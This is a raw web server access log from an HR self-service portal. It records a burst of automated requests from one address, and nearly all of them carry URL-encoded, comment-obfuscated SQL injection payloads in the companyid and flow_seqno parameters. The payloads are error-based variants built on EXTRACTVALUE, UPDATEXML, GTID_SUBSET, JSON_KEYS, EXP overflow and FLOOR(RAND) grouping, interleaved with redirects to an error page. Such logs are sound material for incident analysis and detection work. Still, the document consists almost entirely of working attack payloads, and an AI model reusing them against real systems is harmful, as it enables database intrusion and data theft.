100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x42684549%2C%28NULL%29%2C0x63653345%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a454946%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x774f4a55%29%29x%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x7a454946%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x774f4a55%29%29x%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x59327058%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x486c5866%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x59327058%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x486c5866%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x66394e38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37474e76%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154 "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913&flow_seqno=1163723%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x66394e38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x37474e76%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 200 154
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x66444d54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42644a35%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x66444d54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42644a35%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54446263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61634d35%29%29%2C1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FORPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x54446263%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x61634d35%29%29%2C1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x526b4170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66797259%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x526b4170%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x66797259%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x424b4735%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494d7867%29%29%2C1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2FANDPROCEDURE%2F%2A%2A%2FANALYSE%28EXTRACTVALUE%288971%2CCONCAT%280x424b4735%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x494d7867%29%29%2C1%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x696c5955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a464255%29%29x%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXP%28~%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x696c5955%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a464255%29%29x%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x61584357%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77397444%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F2%2A%28IF%28%28SELECT%2F%2A%2A%2F%2A%2F%2A%2A%2FFROM%2F%2A%2A%2F%28SELECT%2F%2A%2A%2FCONCAT%280x61584357%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x77397444%29%29s%29%2C%2F%2A%2A%2F8446744073709551610%2C%2F%2A%2A%2F8446744073709551610%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38587734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74634548%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x38587734%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x74634548%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4f524a44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a493859%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x4f524a44%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x5a493859%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x566e7434%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65776368%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x566e7434%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x65776368%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x37397371%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f645065%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F1%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2FCONCAT%280x37397371%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4f645065%2CFLOOR%28RAND%280%29%2A2%29%29%2F%2A%2A%2FHAVING%2F%2A%2A%2FMIN%280%29%23&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x747a5450%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6858717a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2F%28SELECT%2F%2A%2A%2F5808%2F%2A%2A%2FFROM%28SELECT%2F%2A%2A%2FCOUNT%28%2A%29%2CCONCAT%280x747a5450%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6858717a%2CFLOOR%28RAND%280%29%2A2%29%29x%2F%2A%2A%2FFROM%2F%2A%2A%2FINFORMATION_SCHEMA.PLUGINS%2F%2A%2A%2FGROUP%2F%2A%2A%2FBY%2F%2A%2A%2Fx%29a%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a646159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a6c706e%29%2C6420%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x7a646159%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x6a6c706e%29%2C6420%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x67726e38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47435041%29%2C6420%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FGTID_SUBSET%28CONCAT%280x67726e38%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x47435041%29%2C6420%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d4f454d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c436e71%29%2C5431%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FUPDATEXML%285947%2CCONCAT%280x4d4f454d%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x4c436e71%29%2C5431%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x53675973%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59714e43%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FAND%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x53675973%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x59714e43%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x37764249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58424335%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FEXTRACTVALUE%282030%2CCONCAT%280x37764249%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x58424335%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810 HTTP/1.1" 302 - "-" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%25%21%28EXTRA%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%28SELECT%2F%2A%2A%2FCONCAT%280x42684549%2C%28NULL%29%2C0x63653345%29%29%2C%2F%2A%2A%2Fstring%3D%2C%2F%2A%2A%2Fstring%3D%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:53 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/ehr/ess/redirect.php?action=viewflowchart&apply_type=overtime&companyid=3913%2F%2A%2A%2F%2F%2A%2A%2FOR%2F%2A%2A%2FJSON_KEYS%28%28SELECT%2F%2A%2A%2FCONVERT%28%28SELECT%2F%2A%2A%2FCONCAT%280x66444d54%2C%28SELECT%2F%2A%2A%2F%28ELT%282836%3D2836%2C1%29%29%29%2C0x42644a35%29%29%2F%2A%2A%2FUSING%2F%2A%2A%2Futf8%29%29%29&flow_seqno=1163723&scriptname=view_flowchart&userseqno=47810" "Mozilla/5.0 (Linux; Android 11; SM-A326U) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.41 Mobile Safari/537.36"
100.64.0.1 - - [07/Sep/2025:02:21:54 +0800] "GET /ehr/ess/redirect.php?scriptname=page_error&msgtxt=Error%3AWorkflow+Not+Exists%2C+Please+Contact+Your+System+Administrator.&target=iframe HTTP/1.1" 302 -
